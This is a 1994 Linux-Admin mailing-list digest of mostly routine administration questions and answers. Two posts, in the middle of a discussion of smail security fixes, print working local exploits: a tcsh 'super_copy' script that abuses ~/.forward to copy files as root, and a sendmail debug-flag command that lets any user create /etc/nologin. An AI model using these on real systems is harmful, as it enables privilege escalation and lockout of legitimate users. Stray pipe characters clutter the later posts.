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From: Digestifier <Linux-Admin-Request@senator-bedfellow.mit.edu>
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To: Linux-Admin@senator-bedfellow.mit.edu
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Reply-To: Linux-Admin@senator-bedfellow.mit.edu
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Date: Thu, 6 Oct 94 20:13:57 EDT
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Subject: Linux-Admin Digest #152
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Linux-Admin Digest #152, Volume #2 Thu, 6 Oct 94 20:13:57 EDT
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Contents:
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Re: limit memory and add memory file system (Alan Cox)
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[help] user cannot update password (take 2) (Andrew_R._Mitz)
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Re: TACACS server software (David Sisson)
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Re: SCSI vs IDE (George R. Welch)
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Re: help with kernel patch 1.1.44 > 1.1.45 (Sean A. Long)
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Re: Linux as KingGod NFS Server to DOS Slaves (Mark Bolzern)
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RADIUS authentication software (Wieringen van)
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Re: Smail: How to set sender name? (H. Peter Anvin)
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what does a hosts.allow look like? (Rob Newberry)
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Problem allowing users to mount floppies (Jonathan Mohr)
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Re: dip-3.3.7h-uri & ZyXel U1496E (Rob Janssen)
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Re: /etc/issue (Nicolai Langfeldt)
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Promethius Aria16 (Bob Morrill)
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Re: How do you see who logged in? (Heiko Schlittermann)
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Slackware2.0 and formatting ? (Hiren Hindoccha)
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Re: Ftape works...Not yet (David Bonn)
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Problems with 1.1.51 & LMS/Philips CDROM (Paul White)
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I MISSED THE PREVIOUS SECURITY FIX (Bill C. Riemers)
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Re: AGETTY and Modems (Gert Doering)
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Re: PCI vs. VLB (Donald Becker)
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Re: Ethernet Cards (Donald Becker)
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Re: Security hole - has noone noticed so far? (Fred Condo)
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Re: Problem allowing users to mount floppies (Morten Steinvik)
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Re: looking for becker@super.org (John Gotts)
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Re: Fast Scsi-2 COMPAQ (Donald Becker)
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Re: Need DL/Time Limiting ideas - Linux BBS (rumgod@phoenix.net)
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Crossposted-To: comp.os.linux.development
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From: iialan@iifeak.swan.ac.uk (Alan Cox)
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Subject: Re: limit memory and add memory file system
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Date: Wed, 5 Oct 1994 15:46:28 GMT
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In article <36keuf$su0@zeus.fasttax.com> phil@zeus.fasttax.com (Phil Howard) writes:
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>My hardware supports DMA only on the first 16 megabytes of RAM although
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>it will support up to 64 megabytes of RAM. What I want to do is to have
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>Linux use only the first 16 megabytes in its usual way much as if the
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>machine only had 16 megabytes. Then I want to use whatever remaining
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>memory above the 16 megabyte line I happen to have installed (it is OK
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>by me to have to code this somewhere) as a memory file system. So if
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>I install all 64 megabytes of RAM I could have a 48 megabyte memory file
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>system.
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>
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>The basic question is how to do this. Also, do you know of any particular
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>problems one might encounter with this? Is there some other scheme that
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>would let me utilize the extra memory to gain some speed?
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Just run Linux as you would at any other time. It'll start using bounce
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buffers for DMA to/from 16Mb+ addresses.
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ALan
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..-----------,,----------------------------,,----------------------------,,
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// Alan Cox // iialan@www.linux.org.uk // GW4PTS@GB7SWN.#45.GBR.EU //
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From: arm@helix.nih.gov (Andrew_R._Mitz)
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Subject: [help] user cannot update password (take 2)
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Reply-To: arm@helix.nih.gov
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Date: Thu, 6 Oct 1994 14:57:53 GMT
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This is a repeat post, the original post was missing a few
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introductory sentences, to wit...
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We are running linux 1.1.18 loaded with Slackware 2.0.
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When root runs the passwd program there is no problem.
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However, when another user runs passwd the program
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quits after entering the new password (twice) with:
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Can't open /etc/ptmp, can't update password.
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Running ls -l to see /etc I get:
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drwxr-xr-x 10 root root [stuff] etc/
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Any suggestions?
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-- andy
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--
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============================================================================
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Andrew Mitz, Biomedical Eng., National Institutes | Opinions are mine alone
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of Health Animal Center, Poolesville, MD | arm@helix.nih.gov
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From: daves@megavolt.cc.vt.edu (David Sisson)
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Subject: Re: TACACS server software
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Date: 6 Oct 1994 19:27:24 GMT
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In article <Cwr766.D3x@ns1.nodak.edu>,
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root <root@myhost.subdomain.domain> wrote:
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>Hello all, I'm looking for a bin or src of the terminal
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>server software called "tacacs" that will cmpile/run on
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>a Linux server (Slackware 1.03 I think). I'm planning
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>on using a CISCO 2511 rtr/tserver on my system.
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CISCO has their own server code that you should be able to get from
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them and use on your Linux box. Contact them for more information about
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their server.
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--
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daves@vt.edu
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From: george@leona.tamu.edu (George R. Welch)
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Subject: Re: SCSI vs IDE
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Date: 5 Oct 1994 16:46:39 GMT
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In article <36ss1f$b5v@newsflash.concordia.ca>,
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Iain J. Bryson <iain@ece.concordia.ca> wrote:
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>Hi. I am interested in hearing people advocating
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>which is better, IDE or SCSI.
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While we are wading through the wave of followups, how about
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someone explaining the difference between all the SCSI. I have heard of
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SCSI, SCSI-2, fast SCSI-2, wide SCSI, and AV-SCSI. What are all these?
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Which is best? Which is worst? How do you tell which one you have?
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Are any of them compatible with the others? Why is this not addressed
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in the SCSI-Howto?
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---George. (Gee, I ask a lot of questions.)
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From: LONGSA%DFCS@dfmail.usafa.af.mil (Sean A. Long)
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Subject: Re: help with kernel patch 1.1.44 > 1.1.45
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Date: Wed, 5 Oct 1994 17:23:01 GMT
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In article <Pine.SUN.3.90.941005010135.8028A-100000@rose.cs.odu.edu> "Scott P. Daffron" <daffron@cs.odu.edu> writes:
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>Help. I follow all of the normal steps, but when I "make proper", it
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>exits on an error. I am stuck at this point. No problems in previous
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>patches. Help!
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I've never heard of "make proper"...
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I always use:
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make config
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make dep ; make clean
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make zlilo
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rdev -R /vmlinuz 1
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The make zlilo can be replaced with "make zImage" (I'm not sure about caps)
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if you don't use lilo...
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-=>Sean Long
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From: mark@gcs.com (Mark Bolzern)
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Subject: Re: Linux as KingGod NFS Server to DOS Slaves
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Date: Wed, 5 Oct 1994 15:38:59 GMT
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In article <jfmorrisCx6LM7.I01@netcom.com>,
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James F. Morris <jfmorris@netcom.com> wrote:
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>In article <Cwwwsv.Gzu@gcs.com>, Mark Bolzern <mark@gcs.com> wrote:
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>>In article <COSC176T.94Sep25013323@menudo.uh.edu>,
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>>
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>>Very happy with Century Software's TinyTerm Plus/NFS. Not too expensive
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>>and TCP/IP stack is from wollongong.... uses only 50K of my low ram...
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>
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>How much is "not too expensive"? And do you have a telephone number for
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>Century Software? Where can I get more info?
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>
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>Thanks!
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Century is at 801-268-3088
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Fax 801-268-2772
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--
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Mark Bolzern : mark@gcs.com USA Tel: (303) 699-7470 Fax: (303) 699-2793
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WorkGroup Solutions, Inc. The FlagShip "CA-Clipper and XBase on Unix" People
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FlagShip is a 4GL Database Development System & XBase Porting Tool for Unix
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No Runtime Fees Info at ftp.wgs.com : /pub2/wgs/Filelist OR mail: info@wgs.com
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From: v892273@si.hhs.nl (Wieringen van)
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Subject: RADIUS authentication software
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Reply-To: v892273@si.hhs.nl
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Date: Thu, 6 Oct 1994 11:26:42 GMT
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Hi,
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I don't know if the previous posting made it to the net. But I will try again.
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Someone mentioned a week ago or so about a authentication package used by
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Livingston equipment to do remote authentication from a authentication host.
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So I looked it up with archie and got the stuff. So far so good. After some
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tweaking with the makefile I now have it gotten to compile. But it doesn't seem
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to work quite right. I have done some debugging and it seems that its having
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some kind of bytesex problem. It seems its written for a BIG endian machine and
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doesn't seem to work quite right on a LITTLE endian machine. Now I probaly can
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fix it myself, but probably someone already done it and its just a waste of
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time to do it again. If someone has patches to make it work under Linux could
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he please send them to me.
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Thanks,
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Marco
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Crossposted-To: comp.os.linux.help
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From: hpa@ahab.eecs.nwu.edu (H. Peter Anvin)
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Subject: Re: Smail: How to set sender name?
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Reply-To: hpa@nwu.edu (H. Peter Anvin)
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Date: Thu, 6 Oct 1994 10:13:16 GMT
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Followup to: <ANDREWD.94Oct6002008@tip-mp3-ncs-12.stanford.edu>
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By author: andrewd@leland.stanford.edu (Andy Dickinson)
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In newsgroup: comp.os.linux.admin
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>
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> Can someone tell me how to set the sender name in smail?
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>
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/usr/lib/sendmail -f <from-user> <to-user>
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You must run this as a "trusted user"; the trusted users are listed in
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the smail config file.
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/hpa
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--
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INTERNET: hpa@nwu.edu --- Allah'u'abha ---
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IBM MAIL: I0050052 at IBMMAIL HAM RADIO: N9ITP or SM4TKN
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FIDONET: 1:115/511 or 1:115/512 STORMNET: 181:294/1 or 181:294/101
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This article might have been generated by a buggy newsreader.
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From: rob@eats.com (Rob Newberry)
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Crossposted-To: comp.os.linux.help,comp.os.linux.misc
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Subject: what does a hosts.allow look like?
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Date: Thu, 6 Oct 1994 16:41:08
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I'm constantly getting "malformed entry" errors with my hosts.allow file. Can
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someone post one here, or mail me a copy of theirs or a faked one to let me
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know what it needs to look like?
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Thanks!
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Rob
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*******************************************************************
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Rob Newberry Education and Technology Solutions, Inc.
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Email: rob@eats.com 4303 Parkland Court
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Phone: 301 438 3915 Rockville, Maryland 20853
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FAX: 301 438 3748
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The secret to happiness is knowing how many
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weekdays you can afford a hangover.
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*******************************************************************
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From: mohrj@augustana.ab.ca (Jonathan Mohr)
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Subject: Problem allowing users to mount floppies
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Date: 6 Oct 94 02:08:02 MDT
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I added a line to /etc/fstab to try to allow users to mount floppies on /mnt:
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/dev/fd0 /mnt msdos user,rw,noauto,sync
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However, when trying to mount a floppy as a normal user, I got the error
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message:
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can't create lock file /etc/mtab~: Permission denied
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To avoid this, should I:
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1. Make /etc writable by users? [Seems like overkill]
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2. Make 'mount' suid? [Sounds dangerous]
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3. Use the package 'usermount' instead?
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Jonathan Mohr
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From: rob@pe1chl.ampr.org (Rob Janssen)
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Subject: Re: dip-3.3.7h-uri & ZyXel U1496E
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Reply-To: pe1chl@rabo.nl
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Date: Thu, 6 Oct 1994 09:03:03 GMT
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In <36q6fn$5n@rebell.PFM-Mainz.DE> ghamm@rebell.PFM-Mainz.DE (Gottfried Hamm) writes:
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>In article <36mkho$393@newshost.fiu.edu>, jduers01@solix.fiu.edu (jason a duerstock) says:
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>>
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>>Dirk Hillbrecht (hillbrec@informatik.uni-hannover.de) wrote:
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>>: I cannot make the two ones mentioned in the header work together. ZyXEL has
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>>: ROM 6.12, kernel is 1.1.51, dip is dated 5.9.94. Script's start is as follows:
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>>
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>>: # Set the desired serial port and speed.
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>>: port ttyS1
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>>Shouldn't this read "port cua1"?
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>I use the ttyS1 port, too and it works fine. I have a Zyxel U1496E + with ROM 6.11 and Linux
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>V1.1.48 and there are no problems.
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The answer is: it depends on the software, if any, you run to process
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incoming calls. If you run "mgetty+sendfax" or my "ZyXEL" program, you
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need to use "ttySx", *not* "cuax".
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Rob
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--
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=========================================================================
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| Rob Janssen | AMPRnet: rob@pe1chl.ampr.org |
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| e-mail: pe1chl@rabo.nl | AX.25 BBS: PE1CHL@PI8UTR.#UTR.NLD.EU |
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From: janl@leto.uio.no (Nicolai Langfeldt)
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Subject: Re: /etc/issue
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Date: 06 Oct 1994 15:50:21 GMT
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In article <1f.10648.1565.0NC9AD5B@compart.fi> riku.saikkonen@compart.fi (Riku Saikkonen) writes:
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>do what /etc/issue is supposed to do (get splatted up on screen
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>BEFORE the login prompt on (at least) remote connections)
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/etc/issue.net is used for remote connections.
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Iff you have the right telnetd and rlogind programs. If /etc/issue.net
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is shown you can upgrate your telnet from sunacm.swan.ac.uk, or possebly
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sunsite (I use sunacm since I'm in europe.
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Nicolai
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From: morrill@eecomm.unl.edu (Bob Morrill)
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Subject: Promethius Aria16
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Date: 6 Oct 1994 19:29:00 GMT
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I've been told the Aria16 is soundblaster compatible. Has anyone
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used the Aria16 with Linux? Promethius says its hardware compatible
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with sound blaster. I dunno, what say anyone?
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Many thanks!!
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From: heiko@lotte.sax.de (Heiko Schlittermann)
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Subject: Re: How do you see who logged in?
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Date: Thu, 6 Oct 1994 09:30:41 GMT
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In article <Cx2B0H.Cvt@info.uucp>,
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Serge Solski u <sols7520@mach1.wlu.ca> wrote:
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>
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> Early this morning, someone dialed into my Linux system and
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>logged-in. I know they were on for a while, because I could hear my
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>hard-drive thrashing away. I was too ill (some sort of flu thing) to
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>attend to my computer, but I thought I could see how they logged in later.
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>The only thing I could find, was that someone dialed in at 4:30 am. It
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>doesn't say who (I forget which file this was in.) Is there a file
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>somewhere that keeps track of who logs in and when?
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Try `who' and `last'. First uses */utmp, last */wtmp.
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From: hiren@meaddata.com (Hiren Hindoccha)
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Subject: Slackware2.0 and formatting ?
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Date: 6 Oct 1994 15:30:58 GMT
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I have a drive with bad sectors (found out when
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formatting with DOS) . I wanted to install Linux
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on it and when I got to the point in Slackware
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installation , I opted for slow format looking for
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bad blocks , but the system hangs up every time .
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Is the formatting programming not able to handle the
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bad sectors / bad blocks ? If so, how do I fix it ?
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Do I need to do a low level format , first ?
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How do I install Linux on this partition ? (without having
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to take out my other partitions and OSes (dos,NT and OS/2)
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I'd rather avoid having to do a low level format on the
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whole disk and then install all the OSes again. And
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not having a tape drive certainly aggravates the situation.
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My system is
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486 DX2/66 VLB
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16 Meg RAM
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Maxtor SCSI 1 GB
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Genoa Windows Accelerated Card 1 Meg DRAM
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UltraStor 34f SCSI adapter ( on X 340 as suggested in FAQ)
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MV PAS 16 SCSI
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Sony CDU 561
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14" NI Monitor
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Please reply by email,
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Thanks,
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Hiren
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ASCII to ASCII, DOS to DOS.
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(:-... heart-broken
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<Standard Disclaimer goes here>.sig produced randomly
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Hirendra Hindocha Cap Gemini America 890-1200 x327 (VM)
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an204@cleveland.freenet.edu
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From: bonn@eskimo.com (David Bonn)
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Subject: Re: Ftape works...Not yet
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Date: Thu, 6 Oct 1994 22:13:19 GMT
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Jonathan Williams (williamj@cs.uni.edu) wrote:
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: ...
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: When I finally got done compiling, I used tar to backup my drive. It went
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: through several hundred files, and then suddenly stopped with an I/O error
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: writing to the device.
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I'm getting exactly this behavior with a Colorado Jumbo 250. Linux
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version is 1.1.51, using ftape-1.13b.
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It seems unlikely this is caused by a bad sector on the tape, since
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the exact point of failure varied quite a bit. I've tried several
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different tapes, and they all seem to die 15-25Mb into a backup.
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This is all very mystifying to me, and I still can't back up my hard
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drive. :-(
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David Bonn
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bonn@eskimo.com
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From: kirk@ecst.csuchico.edu (Paul White)
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Subject: Problems with 1.1.51 & LMS/Philips CDROM
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Date: 6 Oct 1994 22:41:30 GMT
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I was wondering if anyone else was having problems getting there LMS/Philips
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CDROM drive to work with 1.1.51? Or has anyone had problems with
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there devices with 1.1.51? I downloaded the linux-1.1.45.tar.gz
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file, tar -zxvof'd it, then downloaded the separate patches: patch46,
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patch47, patch48, patch49, patch50, and patch51. I then d/l'd the file
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lmscd0.3c.tar.gz, which is the LMS/Philips CDROM patch. The lmscd0.3c is
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for linux version 1.1.47, so I insalled the patches up to 1.1.47, then
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installed my CDROM one, then installed patch 48, 49, 50, and 51. When I
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rebooted, everything worked great, so I thought. I tried my CDROM,
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/dev/lmscd, and it comes up with the normal /dev/lmscd already busy, or /mnt
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already mounted, etc. I then tried to use my modem. I couldn't. I tried
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to send, and access anything through /dev/cua1, and nothing got to my modem.
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I put the old /vmlinuz file back, for 1.0.9, and everything works great
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again. Does anyone know why this is happening? A reply in E-mail would be
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greatly appreasiated, since I don't normally read this news-group.
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Thanks in Advance!!!!!!!
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Paul
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From: bcr@k9.via.term.none (Bill C. Riemers)
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Crossposted-To: comp.mail.smail
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Subject: I MISSED THE PREVIOUS SECURITY FIX
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Date: 06 Oct 1994 05:46:18 GMT
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Reply-To: bcr@physics.purdue.edu
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For some reason, I thought the previous security fix only applied
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to systems that didn't have SETEUID set when compiling smail...
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Now that I know it does, the article with the fix has expired here.
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What is the fix to keep the following script from working?!?!?!?
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---> begin super_copy <---
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#!/bin/tcsh -f
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#script to copy a file anywhere on the system.
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echo $2 > ~/.forward
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mail -r root $USER < /dev/null
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sleep 10
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rm ~/.forward
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cp -a $*
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---> end super_copy <---
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For now I just removed all mail from my system, until I recompile
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with the fixes for the three security bugs that have been posted
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reciently. Sorry for posting this, but I've seen simmular type
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scripts posted all over the net receintly, with no good suggestions
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on how to fix it other than switching to "sendmail"... Now even
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an idiot can hack smail system in less than 15 seconds.
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Bill
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--
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<A HREF=" http://physics.purdue.edu/~bcr/homepage.html ">
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<EM><ADDRESS> Bill C. Riemers, bcr@physics.purdue.edu </ADDRESS></EM></A>
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<A HREF=" http://www.physics.purdue.edu/ ">
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<EM> Department of Physics, Purdue University </EM></A>
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From: gert@greenie.muc.de (Gert Doering)
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Subject: Re: AGETTY and Modems
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Date: Wed, 5 Oct 1994 19:09:02 GMT
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gandalf@radagget.slip.crl.com writes:
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>I'm trying to allow login to my Linux 1.1.45 system through the modem, but when
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>I start agetty for the modem port, it goes right into the login prompt. Is
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>there a way to make this work? My previous experience under SCO Unix was simply
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>to spawn a getty for the modem port during the init phase, and it took care of
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>itself from there.
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Well, you have to use /dev/ttyS* for the modem, if you make sure that the
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carrier line is only active if a carrier is present, and that the modem
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auto-answers (ATS0=1&C1&W). The kernel will make the getty process block.
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Better then "agetty", use "getty_ps", it's not that primitive.
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The other approach is to use "mgetty+sendfax", whose "*getty" understands
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about modems, knows about RING and ATA leading to CONNECT. I naturally
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prefer mgetty, but I'm most heavily biased (I wrote it).
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gert
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--
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Yield to temptation ... it may not pass your way again! -- Lazarus Long
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//www.muc.de/~gert
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Gert Doering - Munich, Germany gert@greenie.muc.de
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fax: +49-89-3243328 gert.doering@physik.tu-muenchen.de
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From: becker@cesdis.gsfc.nasa.gov (Donald Becker)
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Subject: Re: PCI vs. VLB
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Date: 5 Oct 1994 15:36:11 -0400
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In article <36nsuh$5su@senator-bedfellow.mit.edu>, root <jered@mit.edu> wrote:
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>Riku Saikkonen (riku.saikkonen@compart.fi) wrote:
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>: Which system would be better to use for Linux (+X), a VLB motherboard
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>: with a VLB display adapter, I/O card, and whatever, or a PCI system?
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>
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>Go with PCI for as many components as possible. PCI currently appears ot
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>be the new PC bus standard. It performs better than VLB, and is prefered
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>by manufacturers because it is easier to develop PCI cards than VLB ones.
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I agree that PCI is a better standard and will long outlive VLB. But VLB on
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a 486 motherboard is generally somewhat faster than PCI. Considering that
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VLB is almost a direct connection to the 486's pins, it's easy to understand
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why.
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>: I've heard that PCI would be somewhat faster; how much? Also, I've heard
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>: that PCI isn't too stable yet, some cards won't work together; is this
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>: right?
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>
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>PCI is faster, current 66 Mhz implementations are about 2x the speed of
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>VLB, and PCI 2.1 will be 3 times the speed, and double the width.
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>The PCI standard is pretty much stable, although the PCI and system
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>BIOSes may not be. Card conflicts are not likely, but a conflict between
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>card and BIOS may be. Almost all work, though.
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VLB is defined up to 50Mhz, although that's a "zero-slot" speed.
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PCI is 33Mhz, not 66Mhz. That's unlikely to change.
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There are defined extensions to 64 bit address and 64 bit data, but no
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commonly available hardware implements either. (Note that running 64 bit
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addresses on a 32 bit PCI bus will be slower than a straight 32 bit bus.)
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>: Does the kernel support VLB or PCI IDE host adapters? Are they much
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>: faster than ISA ones?
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>
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>The kernel can't tell the difference, really, between ISA, VLB or PCI.
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>It currently supports the BusLogic BT946C SCSI host adaptor, and
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>AHA27xxx/28xx/29xx support is not far behind. As for video, XFree86 3.1
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>(to be released this week, I'm told) supports several PCI video cards.
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>I use the Diamond Stealth 64, which is based on the S3 Vision964 chip.
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Generally, devices on VLB look the same as their ISA counterpart while
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devices on PCI do not. Two immediate obvious differences are I/O locations
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and interrupts. A VLB card uses jumpered/EEPROM locations, which PCI has
|
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the BIOS decide where to place devices. VLB uses the edge triggered ISA bus
|
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interrupts (the few ISA contacts you see on VLB cards are for power and
|
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interrupts), while the PCI bus uses level-triggered slot-specific interrupts.
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>One gotcha with PCI, DON'T GET THE OPTi CHIPSET! There is a bug with it
|
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>(alas, I have the OPTi, and am trying to get it replaced.) such that
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>bus performance will not be optimal.
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Alas many of the chipsets have bugs, which are worked around with varying
|
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degrees of success. I had horrible problems with the NCR53c810 controller
|
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on the ASUS SP3G motherboard until I turned off every feature in the BIOS
|
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setup.
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|
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|
>: A common PCI display adapter seems to be an 'AvanceLogic' (I don't know
|
|
>: of a model) card. Does XFree86 2.1.1 support this? Which chipset does it
|
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>: have? Would I be better off with a Cirrus? (Which is better, a 5428 or a
|
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>: 5434?)
|
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>
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>I haven't heard of this. You'll probably be safest with anything based
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>on the S3 Vision964 chip. There's quite a list of these.
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|
|
|
I've had luck with a generic S3-805 board (almost a year ago -- probably out
|
|
of production by now) and ATI Mach32 boards.
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|
|
>: Does the kernel support the NCR SCSI-2 controller that is integrated in
|
|
>: some PCI motherboards? I found some NCR PCI drivers in drivers/scsi; do
|
|
>: they work with the integrated chip (unfortunately I've forgotten the
|
|
>: chip model number)?
|
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>
|
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>There exists an NCR53c810 driver for Linux, but it is a kernel patch.
|
|
>Although more expensive, I suggest the BusLogic card, it gives
|
|
>slightly better transfer rates, and is supported in the 1.1.18 kernel.
|
|
>(Make sure you recompile your kernel after install with ADAPTEC support
|
|
>DISABLED. Otherwise, the Buslogic will emulate the Adaptec, with worse
|
|
>performance than native mode.)
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|
|
|
The '810 driver is in the most recent development kernels, and it does work
|
|
well. If you have problems it's most likely your hardware not the driver,
|
|
despite all symptoms pointing to a flakey driver.
|
|
|
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--
|
|
Donald Becker becker@cesdis.gsfc.nasa.gov
|
|
USRA-CESDIS, Center of Excellence in Space Data and Information Sciences.
|
|
Code 930.5, Goddard Space Flight Center, Greenbelt, MD. 20771
|
|
301-286-0882 http://cesdis.gsfc.nasa.gov/pub/people/becker/whoiam.html
|
|
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|
------------------------------
|
|
|
|
From: becker@cesdis.gsfc.nasa.gov (Donald Becker)
|
|
Subject: Re: Ethernet Cards
|
|
Date: 5 Oct 1994 15:40:07 -0400
|
|
|
|
In article <36ut42$bp@news.tamu.edu>,
|
|
Channone Arif <pele@walton.tamu.edu> wrote:
|
|
>Would the installation of more than one ethernet card offer any benefits as
|
|
>opposed to having only one?
|
|
|
|
Yes, it means that your machine can be multi-homed on different nets.
|
|
|
|
If you are asking about having multiple cards on the same network, no, there
|
|
is no advantage.
|
|
|
|
--
|
|
Donald Becker becker@cesdis.gsfc.nasa.gov
|
|
USRA-CESDIS, Center of Excellence in Space Data and Information Sciences.
|
|
Code 930.5, Goddard Space Flight Center, Greenbelt, MD. 20771
|
|
301-286-0882 http://cesdis.gsfc.nasa.gov/pub/people/becker/whoiam.html
|
|
|
|
------------------------------
|
|
|
|
From: fred@lightside.com (Fred Condo)
|
|
Crossposted-To: comp.mail.smail
|
|
Subject: Re: Security hole - has noone noticed so far?
|
|
Date: Thu, 06 Oct 1994 13:47:31 -0800
|
|
|
|
In article <SWRA01.94Oct6162351@cs19.cs.aukuni.ac.nz>,
|
|
swra01@cs.aukuni.ac.nz (Stephen David Wray) wrote:
|
|
|
|
> > /usr/lib/sendmail is a symbolic link to /usr/bin/smail.
|
|
> >
|
|
> > try
|
|
> >
|
|
> > /usr/lib/sendmail -d -D/etc/nologin noone@empty.space
|
|
> >
|
|
> > as a normal user and have fun explaining it to your sysadmin. I was
|
|
> > awed when I found out...
|
|
>
|
|
>
|
|
> Umm... I have a recentish slackware distribution, and just tried this
|
|
> out -- nothing seems to have happened.
|
|
>
|
|
> It just sits there, doing nothing...
|
|
>
|
|
> What is it supposed to do that is so bad?
|
|
|
|
It sits there waiting for standard input to close. Press ^D. Then you will
|
|
find that /etc/nologin has been created and can have been created by any
|
|
user. The patch recently posted makes this file creation happen under the
|
|
UID of the calling user rather than as root.
|
|
--
|
|
Fred Condo, + fred@lightside.com + http://www.lightside.com/~fred/
|
|
Lightside, Inc. + Internet access + http://www.lightside.com/
|
|
(818) 858-9261 voice, (818) 858-8982 fax
|
|
|
|
------------------------------
|
|
|
|
From: mortenst@colargol.edb.tih.no (Morten Steinvik)
|
|
Subject: Re: Problem allowing users to mount floppies
|
|
Date: 6 Oct 1994 16:28:02 GMT
|
|
|
|
Jonathan Mohr (mohrj@augustana.ab.ca) wrote:
|
|
: However, when trying to mount a floppy as a normal user, I got the error
|
|
: message:
|
|
|
|
: can't create lock file /etc/mtab~: Permission denied
|
|
As root - delete the /etc/mtab~ file,
|
|
and everything should be dandy again.
|
|
|
|
: 1. Make /etc writable by users? [Seems like overkill]
|
|
Not very smart...
|
|
|
|
Morten Steinvik
|
|
--
|
|
(2b) || (!2b), that is the question...
|
|
Turn your 486 into an XT--just add Windows!
|
|
Morten Steinvik mortenst@edb.tih.no Jogger on IRC
|
|
|
|
|
|
|
|
------------------------------
|
|
|
|
From: john@jgotts.ccs.itd.umich.edu (John Gotts)
|
|
Subject: Re: looking for becker@super.org
|
|
Date: 6 Oct 1994 15:24:51 GMT
|
|
|
|
: Stephen Johnson (sej@psycfrnd.interaccess.com) wrote:
|
|
|
|
: : I'm loking for becker@super.org that wrote the 3c509 drivers for Linux.
|
|
: : Mail sent to becker@super.org bounces...any ideas.
|
|
--
|
|
|
|
becker@cesdis.gsfc.nasa.gov
|
|
|
|
--
|
|
John Gotts (jgotts@umich.edu) 73 de N8QDW URL: http://www.umich.edu/~jgotts
|
|
GE -d+ H s+: g-- p? !au a-- w+ v C++++ UL++++ P+>++ L++ 3- E--- N+++ K- !W M--
|
|
V-- -po+(---) Y+ t+ 5 j+ R- G? tv b+ D B- e+ u--- h f+ r n- y? <Linux rules!>
|
|
|
|
------------------------------
|
|
|
|
From: becker@cesdis.gsfc.nasa.gov (Donald Becker)
|
|
Subject: Re: Fast Scsi-2 COMPAQ
|
|
Date: 5 Oct 1994 16:05:00 -0400
|
|
|
|
In article <Cwy77B.B5o@twisto.eng.hou.compaq.com>,
|
|
Mark Stockton <marks@schooner.sys.hou.compaq.com> wrote:
|
|
>: You know that nice 32-bit ethernet Netflex NIC they sell? Linux doesn't
|
|
>: like it or even try to recognize it.
|
|
>
|
|
>The microcode that the driver must download to the board is licensed
|
|
>from Texas Instruments. You can try purchasing a license for the
|
|
>microcode, but I don't think that you'll want to pay their price. None
|
|
>of the existing drivers will work with this board.
|
|
|
|
I assume a right-to-use microcode license comes with every board Compaq ships.
|
|
Given that, where is the obstacle to a Linux driver?
|
|
|
|
[[ I suspect that driver for this board would need a user-level "helper"
|
|
program to download the microcode from the MS-DOS distribution floppy (or
|
|
whereever it's keep) to the board, but this is just a pain in the ass, not
|
|
a fatal flaw.]]
|
|
|
|
--
|
|
Donald Becker becker@cesdis.gsfc.nasa.gov
|
|
USRA-CESDIS, Center of Excellence in Space Data and Information Sciences.
|
|
Code 930.5, Goddard Space Flight Center, Greenbelt, MD. 20771
|
|
301-286-0882 http://cesdis.gsfc.nasa.gov/pub/people/becker/whoiam.html
|
|
|
|
------------------------------
|
|
|
|
From: rumgod@phoenix.net
|
|
Crossposted-To: alt.bbs.unixbbs,alt.bbs
|
|
Subject: Re: Need DL/Time Limiting ideas - Linux BBS
|
|
Date: Thu, 06 Oct 94 10:48:02 CDT
|
|
|
|
|
|
In article <370u7b$avk@drasnia.it.com.au>, <jean-paul@drasnia.it.com.au>
|
|
writes:
|
|
|
|
> One word of advise, find a suitable BBS package, and install it.
|
|
> One which looks like a DOS OS/2 package, and don't tell people
|
|
> it's UNIX till they subscribe, then offer them a shell. :)
|
|
> BTW, Karl, mail me, I've found a new package for Linux you might
|
|
> like, better than the other ones I've shown you so far. :)
|
|
|
|
I'd like to know about all the BBS's for Linux -- I found EagleBBS
|
|
and I've heard about a couple more, xbbs and unixboard, but I don't
|
|
know where to find them. I'm currently running a DOS based BBS, with
|
|
Maximus 2.01/wb and like it a lot. I'd surely like to find a BBS for
|
|
Linux with some/most/all the features of MAX.
|
|
|
|
There is a package used by a lot of DOS BBS's called BinkleyTerm that
|
|
is also available in a UNIX flavor. It is used primarily as a mailer
|
|
that distinguishes between human and machine callers; it passes human
|
|
calls to the BBS and machine calls to the mail handling programs. One
|
|
of it's features is that it passes a parameter showing the baud rate
|
|
of the call, which can be picked up by any interested program for
|
|
determining DL time, etc.
|
|
|
|
Do you possibly have a list of all the *ix BBS's or know of someone
|
|
who does? Or can you tell about the features of the ones you are
|
|
acquainted with? I don't want much, do I? :)
|
|
|
|
jw
|
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